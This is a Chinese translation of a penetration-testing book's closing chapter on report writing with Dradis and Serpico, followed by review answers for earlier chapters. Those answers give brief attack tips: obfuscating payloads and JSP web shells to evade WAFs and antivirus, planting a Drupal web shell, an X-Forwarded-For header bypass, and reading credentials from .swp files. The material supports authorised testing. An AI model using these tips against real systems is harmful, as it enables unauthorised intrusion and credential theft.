执行报告是为组织/公司的高层管理人员准备的,以便他们可以根据报告中提到的业务影响做出决策。另一方面,DTR 如其名所示,是详细报告,概述了发现的所有漏洞。这包括建议的步骤,以帮助技术(内部安全运营和开发团队)团队修补漏洞。总的来说,报告应包含以下细节:

  • 目的和范围

  • 使用的方法和方法论

  • 使用的**通用漏洞评分系统(CVSS)**版本

  • 执行摘要

  • 发现摘要(发现的漏洞列表)

  • 漏洞详情

  • 结论

  • 附录

现在我们已经快速介绍了报告撰写,让我们了解如何撰写一个好的执行报告。

撰写执行报告

正如我们在介绍中提到的,执行报告是供 C 级高管和管理层使用的,以便根据进行的风险评估(包括漏洞评估和渗透测试)来理解风险。由于 C 级高管是忙碌的人,报告应尽可能简洁,并包含他们需要的所有信息,以便做出明智的决策。让我们来看看执行报告的通用结构。

标题页

顾名思义,标题页包含有关项目、供应商和客户的信息。

文档版本控制

这个小节也在 DTR 报告中定义。当进行渗透测试时,报告不是一次性完成的。双方需要进行许多更改,以创建一个对客户和测试人员都可接受的平衡报告。将制作初稿并发送给客户。这个小节记录了从初稿起对报告所做的更改次数。每个更改定义了一个新版本。报告最终确定时,版本号也会在报告中提到。

目录

这个小节是报告中最重要的部分之一。目录ToC)结构化报告文档,以便 C 级高管能够轻松理解。

目标

这个小节向高管介绍了渗透测试项目和定义的时间表。

定义的范围

在报告的这个小节中,应提及所有已定义的范围内的 URL、IP、端点等。这些信息有助于高级管理人员快速注意到受影响的资产,这可能对组织产生业务关键影响。

主要发现(影响)

报告的这个小节列出了每个漏洞的影响;也就是说,攻击者可以对组织的资产做些什么。这些指针帮助组织评估业务资产的安全级别。高级管理人员将知道组织哪些资产需要立即进行关键修复。

问题概述

这个小节让高层管理人员了解发现的漏洞的严重程度。可以使用一个漂亮的饼图或条形图来显示根据严重程度分类的发现的漏洞。

战略建议

这个小节为高级管理人员提供了他们可以遵循的建议,以修复那些具有关键性质的漏洞,如果被利用,可能会给业务带来问题。

报告中的所有细节都应以简洁的方式提及,因为执行报告的主要目标是向高层管理提供评估概述。报告中应删除任何不必要的内容。现在,让我们来看一下 DTR 报告。

撰写详细的技术报告

此报告应包括有关漏洞的所有技术细节。DTR 是为客户端的技术团队准备的。让我们来看一下 DTR 的通用结构。

标题页

顾名思义,标题页包含有关项目、供应商和客户的信息。

文档版本控制

这个小节也在执行报告中定义,并且包含的细节是相同的。

目录

这个小节是报告中最重要的部分之一。目录将报告文档结构化,以便客户的技术团队能够轻松理解。

报告摘要

这个小节提供了对渗透测试项目的概述,并向客户展示了发现的漏洞总数,按其严重程度级别显示。我们可以添加一些漏洞统计数据,如饼图或面积图,并将漏洞定义为关键、高、中、低或信息性。作为渗透测试人员,我们可以添加一个攻击叙述,告诉我们攻击者如何找到这些漏洞,以及攻击者可以利用这些漏洞的程度。报告摘要有助于技术团队以及高级管理人员看到项目的整体成功。

定义的范围

在与客户的启动会议中,项目的范围和范围内的目标将已经确定。在报告的这个小节中,应提及所有已定义的范围内的 URL、IP、端点等。这些信息有助于技术团队快速处理手头的漏洞,并与负责范围内 URL/IP 的开发者/管理员团队进行沟通。

将范围添加到报告中的另一个原因是为了使渗透测试人员的项目流程更加顺畅。在范围未定义的情况下,渗透测试人员将无法评估需要完成的工作量或完成项目所需的天数。众所周知,计算渗透测试项目价值的核心实体之一是人天数。

当渗透测试项目处于初始阶段,即与客户讨论项目时,项目的价值将根据客户共享的范围和执行该范围测试所需的人天数来计算。请注意,这些并不是定义项目价值的唯一因素 - 资产、时间表、为项目分配的资源数量、差旅费用(如果有)以及渗透测试人员的初始要求也是一些关键因素。

这个定义的范围有助于渗透测试人员将团队的资源分配到项目中,并定义时间表,以确保项目流程顺畅。如果有许多子项目,例如与同一客户进行内部网络或外部网络渗透测试,定义范围可以确保双方有相同的期望。

使用的方法

报告的这一小节应包含渗透测试人员在安全评估期间遵循的方法。最好使用图表展示这个过程,并向客户解释每个过程,以便客户端的技术团队了解他们的组织资产是如何被测试的。

无论渗透测试人员遵循 NIST-800 标准、PTES 标准还是他们自己公司的标准,他们都必须在这一小节中解释这个过程。

CVSS

CVSS 是用于确定漏洞严重性的免费和开放的行业标准。在定义漏洞的严重性时,我们需要根据 CVSS 评分计算对漏洞进行分类。本小节将向客户介绍 CVSS 以及我们将在报告中使用的版本。在撰写本文时,CVSS 的版本为 CVSS v3.1,于 2019 年 6 月发布。

漏洞摘要

渗透测试人员应在报告的这一小节中添加漏洞描述、CVSS 评分、漏洞严重性、受影响的端点/IP、概念验证(PoC)、重现步骤、影响、建议和参考资料。

结论

在本小节中,渗透测试人员从攻击者的角度总结了项目的整体难度。任何额外的建议都会添加到这个小节中。

附录

任何其他信息,如屏幕截图、服务枚举、CVSS 计算公式以及客户可能需要的其他任何信息都添加到报告的这个子部分中。

现在,您知道如何撰写执行报告以及 DTR。在报告过程中出现的主要问题是收集所有技术细节。作为渗透测试人员,我们必须确保在渗透测试期间收集所有屏幕截图、URL、使用的有效载荷等,以便将这些细节输入 DTR 报告中。

如果范围只是几个 IP 或 URL,那么收集数据不会成为问题,但如果项目很庞大,那么有时收集数据会变得很麻烦。为了解决这些问题,我们可以选择在 GitHub 上公开可用的报告框架。这些框架可以自动解析输出扫描文件和 Nmap 端口扫描结果,并根据输入的细节给出报告。在接下来的部分,我们将讨论一个这样的框架 - Dradis。

Dradis 框架介绍

Dradis 是一个开源的基于浏览器的应用程序,可用于聚合来自不同工具的输出并生成单个报告。它可以连接到超过 15 种工具,包括 Burp Suite、Nessus、Acunetix 和 Nmap。

预安装配置

要安装 Dradis,我们需要安装一些依赖包。它非常易于使用,并且已经预装在 Kali Linux 中。因此,我们将重新安装它,然后学习如何使用它。

首先,我们需要通过运行以下命令来安装依赖项:

 apt-get install libsqlite3-dev
 apt-get install libmariadbclient-dev-compat
 apt-get install mariadb-client-10.1
 apt-get install mariadb-server-10.1
 apt-get install redis-server

接下来,我们将继续安装。

安装和设置

我们可以使用以下命令下载 Dradis 社区版的 GitHub 存储库:

git clone https://github.com/dradis/dradis-ce.git

上述命令的输出如下:

现在,我们需要运行以下命令:

bundle install –path PATH/TO/DRADIS/FOLDER

以下屏幕截图显示了上述命令的输出:

现在,我们需要转到 Dradis 文件夹。要安装 Dradis,我们需要在 bin 文件夹中运行设置文件,输入以下内容:

./bin/setup

安装完成后,我们可以运行以下命令来启动 Dradis 服务器,如下屏幕截图所示:

bundle exec rails server

以下屏幕截图显示了上述命令的输出:

可以通过转到https://localhost:3000来访问 Dradis。

我们甚至可以使用 Docker 镜像来避免安装步骤和在此过程中可能出现的任何错误。

现在,我们需要设置密码,以便可以访问框架并登录,如下屏幕截图所示:

现在,让我们开始使用 Dradis。

开始使用 Dradis

成功登录后,我们将被重定向到仪表板,如下屏幕截图所示:

Dradis Framework 的免费版本支持各种工具的插件,例如 Nmap、Acunetix、Nikto 和 Metasploit。它还允许我们创建在渗透测试活动期间可以使用的方法论。在平台的左侧窗格中,我们可以看到三个主要部分,可以帮助报告开发过程 - 所有问题、方法论和垃圾箱:

所有问题:此页面允许我们手动或通过导入来自不同工具(如 Nmap、Nikto 和 Nessus)的输出找到的问题。单击此选项将重定向我们到以下页面:

现在,让我们学习如何将第三方报告导入 Dradis。

将第三方报告导入 Dradis

要从工具的输出中导入问题,请按照以下步骤操作:

  1. 选择第三个选项“上传工具的输出”,这将带我们到以下页面:

  1. 向下滚动将显示已安装的插件列表,以及它们的工具名称,如下屏幕截图所示:

  1. 上传报告将显示解析后的输出,如下屏幕截图所示:

  1. 导入完成后,我们将在左侧窗格下看到结果,即插件输出,如下屏幕截图所示:

  1. 我们刚刚导入的扫描结果的输出如下:

现在,我们需要定义安全测试方法。

在 Dradis 中定义安全测试方法

方法论部分允许我们定义在活动期间将遵循的方法论。最常用的方法论是开放源安全测试方法手册(OSSTMM),渗透测试执行标准(PTES)和国家标准技术研究所。我们甚至可以通过定义一个检查表来创建自己的方法论,如下所示:

  1. 要创建检查表,请转到方法论,然后单击“添加新内容”。您将看到以下屏幕:

  1. 然后,我们需要为其指定一个名称,然后单击“添加到项目”:

  1. 我们应该看到已为我们创建了一个示例列表。单击右侧的“编辑”按钮即可进行编辑:

  1. 在这里,我们可以看到列表是在一个 XML 文件中。我们可以通过单击“更新方法”来编辑和保存它:

现在,让我们组织我们的报告。

使用 Dradis 组织报告

现在,让我们学习如何组织我们的扫描报告。节点允许我们为不同的子网、网络和办公地点创建单独的部分,然后将所有问题或截图放在那里。让我们快速看一下如何创建一个节点:

  1. 转到左侧菜单中的节点选项,然后单击+号;一个弹出框将打开,我们在其中添加一个网络范围。这样做后,单击“添加”:

  1. 要添加一个新的子节点,我们需要从左侧窗格中选择节点,然后选择“添加子节点”选项。子节点用于进一步组织网络。我们甚至可以添加注释和截图作为特定节点中可能发现的错误的证据:

最后,让我们学习如何在 Dradis 中导出报告。

在 Dradis 中导出报告

使用 Dradis Framework,可以导入、组合和导出不同的扫描报告为一个单一的报告,如下截图所示:

注意:有关 Dradis 的更多信息可以在官方网站dradisframework.com/上找到。

到目前为止,我们已经学会了如何安装和设置 Dradis Framework。我们还看了如何在 Dradis 中导入、组织和导出报告。在下一节中,我们将看看另一个名为 Serpico 的工具。

使用 Serpico

Serpico,或者SimplE RePort wrIting and COllaboration工具,是一个用 Ruby 开发的工具,用于加快报告编写的过程。它是开源的,与平台无关,并且可以在 GitHub 上获得。在本节中,我们将介绍 Serpico 的基本安装和使用。

安装和设置

对于 64 位 Linux 系统,安装很容易 - 我们只需从工具的发布部分下载并安装文件,网址为github.com/SerpicoProject/Serpico/releases

由于 Serpico 有一个 Docker 镜像,我们将在我们的用例中使用它。

首先,我们需要设置数据库和用户名和密码。要做到这一点,运行以下命令:

ruby first_time.rb

以下截图显示了前面命令的输出:

然后,我们使用ruby serpico.rb运行工具:

就是这样 - 现在,我们已经准备好开始使用这个工具了,现在可以在http://127.0.0.1:8443上访问它。

开始使用 Serpico

以下截图显示了 Serpico 的登录界面:

在使用用户名和密码登录后,您将看到一个类似以下的仪表板:

一旦我们登录,我们将看到各种可用选项,如添加用户,添加模板等,如前一个截图的左侧窗格中所示。

要创建一个新报告,请按照以下步骤进行:

  1. 从顶部菜单中单击“新报告”选项。我们将被重定向到以下页面:

在这里,我们可以填写各种细节,比如完整的公司名称、评估类型等。

  1. 单击保存按钮将带我们到下一页,在那里我们可以填写其余的细节,比如联系邮箱等等。所有这些信息都将打印在最终报告上。

  2. 下一步是将我们的模板数据库发现添加到工具中。如果我们想要遵循常见的发现模板,比如 SQLi 和 XSS,我们可以选择从模板中添加发现,或者我们可以选择创建新的发现:

  1. 单击模板将下载相应的 Word 文档。它应该看起来类似于以下内容:

  1. 要为特定的漏洞添加模板,我们只需选中复选框,然后选择位于页面底部的“添加”按钮。

随着我们不断填充报告的漏洞,我们将看到我们的结构正在形成,并且图表现在更加有意义。我们甚至可以从 Metasploit 数据库直接添加附件和管理主机。

稍后,可以使用“导出报告”功能将其导出为单个报告。Serpico 还支持各种插件,可用于从不同工具(如 Burp Suite 和 Nessus)导入数据。

从 Metasploit 导入数据到 Serpico

让我们看看如何连接 Serpico 到 Metasploit 来导入数据。首先,我们需要编辑要连接到 Metasploit 的报告。我们将被重定向到一个新页面。从左侧菜单中选择“附加功能”。以下页面将打开:

现在,让我们启动我们的 Metasploit RPC 服务,如下面的屏幕截图所示:

完成此操作后,我们需要在浏览器中切换回 Serpico,并单击“配置 Metasploit RPC 连接”,这将带我们到以下页面:

填写连接详细信息并保存这些设置将连接 Serpico 到 Metasploit。通过这样做,所有发现将被添加到报告中。

将第三方报告导入 Serpico

与 Dradis 类似,我们还可以从其他工具导入发现到 Serpico 的报告中。让我们快速学习如何从 Nessus 以及 Burp Suite 导入发现。

在编辑报告时,在“附加功能”页面上,我们可以选择“从 Nessus XML 自动添加发现”选项,如下面的屏幕截图所示:

我们将被重定向到一个新页面,我们可以在该页面上传 Nessus 的 XML 文件,如下面的屏幕截图所示:

在选择“从 Burp 扫描器报告自动添加发现”选项时,我们有上传 Burp 扫描器报告的选项,如下面的屏幕截图所示:

然后,Burp Suite 报告将被解析为 Serpico 格式,并且报告中的结果将显示在 Serpico 的主面板上,如下面的屏幕截图所示:

现在我们知道如何从第三方工具导入扫描报告到 Serpico,让我们学习如何管理用户。

Serpico 中的用户管理

用户管理对于组织是必要的,特别是当渗透测试团队庞大时。Serpico 还允许我们管理用户,如下面的屏幕截图所示:

Serpico 支持两种类型的用户授权:本地授权基于 Active Directory(AD)的授权。一旦用户被添加,可以通过单击左侧窗格中的“列出用户”链接来查看当前用户列表,如下面的屏幕截图所示:

除了用户管理外,Serpico 还允许我们管理报告模板。

在 Serpico 中管理模板

Serpico 还允许我们使用从 Microsoft Word 衍生的元语言创建自定义报告模板。我们可以从“添加报告模板”页面定义和上传自定义报告模板,如下面的屏幕截图所示:

互联网上还有许多其他用户创建和共享的预构建模板。

以多种格式生成报告

Serpico 允许我们以不同的格式生成报告:

  • 仅文本格式

  • CSV 格式

  • ASCII Doc 格式

  • 演示格式(包括 PDF)

  • HTML 格式

这就是我们对 Dradis Framework 和 Serpico 的快速介绍。

有关 Serpico 的更多信息,请访问github.com/SerpicoProject/SerpicoPlugins/wiki/Main-Page

摘要

在本章中,我们介绍了报告撰写及其两种类型。我们还使用了两个工具- Dradis 和 Serpico。现在您已经熟悉它们的框架,可以使用它们生成和组织报告。

这就是我们又一个了不起的旅程的结束。我们希望您喜欢这本书。我们始终欢迎您的反馈,因为它有助于我们改进和创造更好的内容。随时与我们联系以获取任何进一步的查询,并别忘了向您的朋友推荐这本书!

问题

  1. Serpico 支持的元语言是什么?

  2. 渗透测试报告应包括哪些必要项目?

  3. 还可以使用哪些其他工具进行自动报告撰写?

  4. Dradis 和 Serpico 是否支持 Microsoft Windows?

进一步阅读

以下链接提供了有关 Dradis 和 Serpico 的更多信息:

第二十一章:评估

第一章

  1. 是的,有。MITRE 维护的 CWE 列表可以在cwe.mitre.org/找到。

  2. OWASP 十大漏洞可以在owasp.org/www-project-top-ten/找到,而 SANS 25 大软件错误可以在www.sans.org/top25-software-errors/找到。

  3. 在典型的渗透测试中使用的许多工具都是开源的,例如 Nmap 和 Metasploit 框架。但是,市场上还有一些非常高效的工具,例如 BurpSuite 专业版和 Nessus 专业版。

  4. 基于 OSSTMM 的渗透测试可以是六种不同类型之一,具体取决于参与的性质和范围。基于 PTES 的渗透测试被归类为非常通用的测试类型,例如白盒测试、灰盒测试和黑盒测试。由于 PTES 是行业标准,大多数渗透测试都使用 PTES 方法论。

第二章

  1. Metasploit 社区版和 Metasploit Framework 是开源的。Metasploit Pro 是商业版,附带许多额外功能。请查看以下链接获取更多信息:www.rapid7.com/products/metasploit/download/editions/

  2. Metasploit Framework 版本 5 允许我们使用AESRC4加密对我们的有效载荷进行加密。您只需使用 MSFVenom 中的--encrypt选项生成有效载荷即可。

  3. 不,不能。目前,Metasploit Framework 仅支持 PostgreSQL 作为后端。

  4. Metasploit Framework 数据库可以直接通过端口5432连接。如果您想通过安全通道与数据库通信,可以使用运行在 HTTP/HTTPS 上的 PostgreSQL Web 服务将 Metasploit Framework 连接到数据库。

第三章

  1. 从基本的网络侦察到链式任务,有很多功能可以使用。在 Metasploit CE 中,许多功能被锁定,仅适用于 Metasploit Pro Edition。

  2. 要使用自定义 SSL 证书,请将 Metasploit Web UI 附带的默认 SSL 证书替换为您自己的证书,方法是转到<path/to/metasploit>/opt/metasploit/nginx/cert并用您自己的文件替换那里的文件。

  3. Web 界面兼容 Google Chrome 10+,Mozilla Firefox 18+,Internet Explorer 10+和 Iceweasel 18+。

  4. 是的,可以。RESTful API 在 Metasploit 产品的所有版本中都可用。请查看metasploit.help.rapid7.com/docs/standard-api-methods-reference以查看标准 Metasploit API 文档。

  5. 是的,可以。您可以在 Metasploit Web 界面中检查自定义报告格式,并相应地进行配置。请查看以下链接获取更多信息,网址为metasploit.help.rapid7.com/docs/about-reports

第四章

  1. HTTP 头检测模块获取服务器响应中的 HTTP 头。如果管理员已经阻止/删除了 HTTP 头,此模块将不会提供任何输出。该模块运行良好。

  2. 默认情况下,Metasploit Web 界面附带 NMAP 版本 4.x(预安装)的软件包,用于执行主机发现和端口扫描。为了获得更好的结果,您可以安装和使用最新版本的 NMAP。

  3. 是的,可以。Web 界面只为 Metasploit 框架提供了图形用户界面GUI),因此您也可以添加自定义模块。

  4. 您可以在页面前面放置一个反向代理。您首先必须使用 HTTP 基本身份验证机制进行身份验证,然后可以使用登录页面与 Metasploit Web 界面进行身份验证。有关更多信息,请查看文档docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/

第五章

  1. 是的,您可以。GitHub 上有许多著名的字典可用于更好的枚举结果。

  2. Metasploit 使您有权修改或添加自己的模块,这些模块可以根据不同的模块运行执行。您可以选择编写自定义模块,也可以编写自己的 Metasploit 插件,用于在单个命令中自动执行整个枚举过程。

  3. 正则表达式用于高效过滤搜索。使用正则表达式,您可以执行更加专注的抓取,而不是更多垃圾导向的抓取。

第六章

  1. 这完全取决于扫描运行的频率和并发性。最少可以使用两个客户端节点和一个主节点进行分布式扫描,但您可以根据要扫描的系统数量做出决定。

  2. 当在 Metasploit 中加载 WMAP 插件时,将在与之连接的数据库中保存所有结果。注意:此插件中没有特定功能会生成 WMAP 报告。

  3. Metasploit Framework 支持的所有格式都在db_import命令中提到。请参考该命令。

  4. WMAP 是用 Ruby 编写的插件。您可以编辑文件并根据需要修改代码。在进行任何修改之前,请阅读LICENCE文件。

  5. WMAP 每个节点限制为 25 个作业。这是为了防止节点负担过重。

第七章

  1. 不是真的。Nessus 可以安装在任何服务器上,您只需要提供网络 IP 和用于身份验证的端口凭据。Metasploit 将自动与远程安装的 Nessus 实例进行身份验证。

  2. Metasploit 支持 Nexpose、Nessus 和 OpenVAS 漏洞扫描器作为可插拔模块。对于其他漏洞扫描器,您可能需要编写自己的插件模块。

  3. 是的。您可以将 Nessus Professional 与 Metasploit 一起使用。您只需要首先激活 Nessus Pro 许可证。

  4. 扫描中的并发系统数量与您的 Nessus 订阅允许的数量相同。

第八章

  1. 是的。如果 WordPress 安装了默认配置,则本章讨论的侦察技术足以获取有关所有 WordPress 版本的信息。

  2. 如果wp-admin目录不可访问,您可以尝试wp-login.php文件。该文件对具有普通权限设置的用户以及对wp-admin目录也是可访问的。如果您仍然无法访问,请尝试将wp-login.php?action=register查询添加到 URI。

  3. 是的,WordPress 是一个广泛使用的开源 CMS。与 WordPress 核心不同,一些主题和模板是根据付费订阅许可证的。

第九章

  1. Joomla 是用 PHP 编写的 CMS,并且将在安装有 PHP 的操作系统上运行。

  2. 如果您已经使用了社区不知道的检测技术,可以将该技术添加到 Metasploit 代码中。同时,您可以向 Metasploit GitHub 存储库发送push请求,这应该也有助于社区。

  3. 有多种方法可以找到安装的版本。您甚至可以阅读源代码以找到披露 Joomla 版本的标头或参数。

  4. 渗透测试人员的目标是找到漏洞并利用它,以使组织管理层相信不应忽视 Web 应用程序的安全性。在应用程序中设置后门将违反这一逻辑,这是不道德的。

第十章

  1. 不同的 Drupal 版本具有不同的架构和不同的功能。如果利用漏洞基于 Drupal 的核心组件,它也可以用于旧版本。其他基于模块和插件的漏洞可能在不同的 Drupal 版本中无法工作。

  2. 在本地安装 Drupal 以测试漏洞是一个好习惯。如果我们成功地在本地利用 Drupal,那么我们可以在远程 Drupal 站点上使用相同的漏洞。

  3. 有时,Web 应用程序防火墙(WAF)放置在 Web 应用程序前面,这意味着漏洞无法成功运行。在这种情况下,我们可以对漏洞中使用的有效载荷进行混淆或编码,并绕过 WAF 保护。

  4. 如果我们可以访问 Drupal 管理员帐户,我们可以启用 PHP 过滤器模块并配置其权限。一旦权限设置好,我们就可以在网站上编写一个 Web shell。我们甚至可以通过利用任意文件上传漏洞来上传 Web shell(这在某些 Drupal 版本上有效)。

  5. 在执行文件和目录枚举时,如果我们遇到.swp文件,我们可以利用这一点。SWP(发音为swap)文件是一个存储文件中发生的更改的状态文件。有时,管理员会编辑 Drupal 配置文件(settings.php),这意味着会创建一个.swp文件。如果我们可以访问settings.php.swp文件,我们就可以获取全局设置变量,如数据库用户名和密码,这可以用于进一步的利用。

第十一章

JBoss 有不同的版本和发布。社区版是免费下载的,但您需要购买许可证来支持它。您可以在www.redhat.com/en/store/red-hat-jboss-enterprise-application-platform?extIdCarryOver=true&sc_cid=701f2000001Css5AAC查看许可信息。

第十二章

  1. 您可以使用 Shodan、ZoomEye、Censys.io 和类似的服务来识别它们。您还可以通过执行端口扫描和服务枚举来识别它们。有时,Tomcat 服务可能不会在常用端口(如804438080等)上运行。在这种情况下,执行完整的端口扫描,并通过服务器响应来识别服务。

  2. 并不一定。Release-Notes.txtChangelog.html文件仅在默认安装时可用。如果服务器管理员已删除这些文件,您需要寻找其他方法(在本章中提到)来检测和识别 Apache Tomcat 实例。

  3. 这通常发生在反病毒程序检测到 JSP Web shell 时。为了绕过这样的安全措施,您可以对 Web shell 进行混淆。

  4. 在基于 OOB 的 OGNL 注入中,有两种方式可以利用这个漏洞——通过 DNS 交互或通过 HTTP 交互。在这两种情况下,您需要设置自己的实例并配置 DNS 服务器(用于 DNS 交互)或 HTTP Web 服务器(用于 HTTP 交互)。在进行 HTTP 交互攻击时,利用基于 OOB 的 OGNL 更容易。

第十三章

  1. 您可以使用 Shodan、ZoomEye、Censys 等工具来识别 Jenkins 实例。默认情况下,Jenkins 服务在端口8080上运行。

  2. 有多种方法可以识别 Jenkins,但最常见的方法是使用 HTTP 标头。X-HudsonX-JenkinsX-Jenkins-SessionX-Permission-Implied-By标头是 Jenkins 使用的自定义 HTTP 标头。

  3. 您可以通过 HTTP 标头来查看是否有任何类型的标头阻止您访问 Jenkins 实例。您还可以添加一个X-Forwarded-For: 127.0.0.1标头来绕过任何类型的入口访问限制。

  4. Jenkins 是一个用 Java 构建的开源工具,通过使用基于插件的机制来帮助 CI 和 CD。如果您可以访问 Jenkins 实例,可以中断 CI/CD 流水线以关闭生产/非生产环境。由于 Jenkins 保存了应用程序的所有代码,您可以下载源代码以获取硬编码的凭据和敏感信息,然后可以用于进一步的利用。

第十四章

  1. 您可以在运行 Web 服务的任何服务器上执行 Web 应用程序模糊测试(包括 SSL)。

  2. Burp Suite 是一个基于 Java 的工具,可以在 Microsoft Windows 上使用,但对于 Wfuzz 和 ffuf,您必须在 Windows 上安装 Python,因为这些工具是基于 Python 的。

  3. 不。在常规渗透测试中进行模糊测试是可选的,需要与客户讨论。如果客户要求,那么它将是强制性的;否则,渗透测试可以在不进行模糊测试的情况下进行。然而,总是进行模糊测试是一个好习惯,因为您可能会发现扫描器错过的严重漏洞。

  4. 这些漏洞范围从技术漏洞,如远程代码执行(RCE)、SQL 注入(SQLi)和跨站脚本(XSS)到逻辑漏洞,如账户接管、参数操纵、响应操纵和身份验证令牌绕过。

第十五章

  1. 用于 Microsoft Word 的元语言被设计得尽可能简单,同时还具有足够的功能,可以创建基本的渗透测试报告。这是一种用于在 Serpico 中创建自定义模板的语言(在它们的 GitHub 存储库中定义)。要了解有关 Serpico 中元语言的更多信息,请参阅github.com/SerpicoProject/Serpico/wiki/Serpico-Meta-Language-In-Depth

  2. 通用的渗透测试报告应包括漏洞名称、漏洞描述、受影响的端点、复制步骤(概念验证)、业务影响、纠正措施和参考资料。

  3. Guinevere、Prithvi 和许多其他开源自动化报告工具都是公开可用的,可用于轻松生成报告。

  4. 是的。Dradis Framework 和 Serpico 都是用 Ruby 编写的,它们是跨平台支持的工具,可以在 Microsoft Windows 上运行。唯一的要求是 Ruby 软件包需要安装在 Windows 系统上。